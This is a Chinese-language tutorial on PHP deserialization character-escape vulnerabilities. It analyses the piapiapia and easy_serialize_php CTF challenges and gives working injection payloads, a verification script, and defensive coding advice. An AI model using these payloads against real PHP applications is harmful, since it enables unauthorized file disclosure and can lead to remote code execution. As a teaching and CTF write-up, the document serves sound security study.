PHP反序列化字符逃逸:filter函数替换导致长度变化的攻击场景深度解析
1. 反序列化字符逃逸漏洞原理
PHP反序列化字符逃逸漏洞的本质在于序列化字符串经过过滤处理后,其实际长度与标注长度不一致,导致反序列化引擎错误解析数据结构。这种漏洞通常出现在以下场景:
- 序列化字符串格式:PHP序列化使用特定语法标注数据类型和长度,例如
s:5:"hello"表示长度为5的字符串 - 过滤函数介入:在序列化后、反序列化前,数据经过过滤函数处理(如关键词替换、特殊字符转义)
- 长度不一致:过滤操作导致字符串实际长度变化,但序列化标注的长度未同步更新
// 典型漏洞代码结构 $data = unserialize(filter(serialize($_POST['data'])));2. 三种典型攻击场景分析
2.1 字符增多场景(以piapiapia为例)
漏洞特征:过滤替换使字符串变长,通过精心构造payload挤出后续字段
案例分析:
// class.php中的filter函数 public function filter($string) { $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); // where(5)→hacker(6) }攻击步骤:
- 计算需要逃逸的字符数(如
";}s:5:"photo";s:10:"config.php";}共34字符) - 构造34个
where关键词(原始长度170,替换后204) - 溢出部分会覆盖原序列化结构,注入恶意字段
Payload示例:
nickname[]=wherewherewhere...where";}s:5:"photo";s:10:"config.php";}2.2 字符减少场景(以安洵杯easy_serialize_php为例)
漏洞特征:过滤使字符串变短,通过吞掉后续字段实现注入
关键代码:
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); // 直接删除敏感词 }利用方法:
- 计算需要吞掉的字符数(如
";s:8:"function";s:14:"highlight_file"共22字符) - 构造包含22个过滤字符的payload(如
phpphpphpphpphpphpflag) - 后续注入内容会成为新的序列化字段
2.3 混合替换场景
复合型漏洞:同时存在字符增多和减少的过滤规则
攻击策略:
- 分析所有过滤规则对字符串长度的影响
- 计算净长度变化(增多-减少)
- 组合使用两种技术构造最终payload
3. 漏洞利用技术对比
| 场景类型 | 长度变化 | 典型CTF题目 | 关键技巧 |
|---|---|---|---|
| 字符增多 | 增加 | [0CTF 2016]piapiapia | 计算溢出字符数,数组绕过长度限制 |
| 字符减少 | 减少 | [安洵杯2019]easy_serialize_php | 精确控制吞掉的字段,注意闭合语法 |
| 混合替换 | 不定 | 企业真实环境漏洞 | 需综合计算净变化量,多次测试验证 |
4. 防御方案与最佳实践
安全编码建议:
输入验证:
// 严格校验序列化数据格式 if (!preg_match('/^[a-z0-9]+$/i', $input)) { die('Invalid input'); }处理顺序调整:
// 先过滤后序列化 $cleanData = filter($_POST['data']); $serialized = serialize($cleanData);使用安全函数:
// 替代直接unserialize function safe_unserialize($str) { $data = @unserialize($str); if ($data === false && $str !== 'b:0;') { throw new Exception('Invalid serialized data'); } return $data; }关键配置:
; php.ini安全配置 allow_url_include = Off disable_functions = exec,system,passthru
5. 实战环境搭建与测试
本地测试环境配置:
- Docker快速部署:
docker run -d -p 8080:80 --name piapiapia vulhub/php:5.6-apache docker cp piapiapia:/var/www/html/ www/- 漏洞验证脚本:
<?php require 'class.php'; $user = new User(); // 构造恶意payload $payload = str_repeat('where', 34).'";}s:5:"photo";s:10:"config.php";}'; $_SESSION['username'] = 'test'; $_POST = [ 'phone' => '12345678901', 'email' => 'test@example.com', 'nickname' => [$payload], // 使用数组绕过长度检查 'photo' => ['name' => 'test.png', 'tmp_name' => '/tmp/test'] ]; // 模拟update操作 $profile = [ 'phone' => $_POST['phone'], 'email' => $_POST['email'], 'nickname' => $_POST['nickname'], 'photo' => 'upload/' . md5($_FILES['photo']['name']) ]; $user->update_profile($_SESSION['username'], serialize($profile)); // 验证漏洞 $profile = $user->show_profile($_SESSION['username']); var_dump(unserialize($profile)); ?>6. 高级利用技巧
- 多级逃逸:当存在多个过滤层时,需要逐层计算长度变化
- 编码绕过:使用十六进制、Unicode等编码方式绕过关键词检测
- 对象注入:结合__wakeup、__destruct等魔术方法实现RCE
- PHAR利用:通过phar://协议触发反序列化
// 复杂payload构造示例 $pad = str_repeat('where', 34); $exploit = '";}s:5:"photo";s:10:"config.php";}'; $finalPayload = $pad.$exploit; // 使用SplFixedArray绕过类型检查 $arr = new SplFixedArray(2); $arr[0] = $finalPayload;在实际渗透测试中,我曾遇到一个企业级应用的反序列化漏洞,通过组合字符增多和减少的技术,最终实现了从信息泄露到远程代码执行的完整攻击链。这提醒我们,任何看似微小的数据验证缺陷都可能成为系统安全的致命弱点。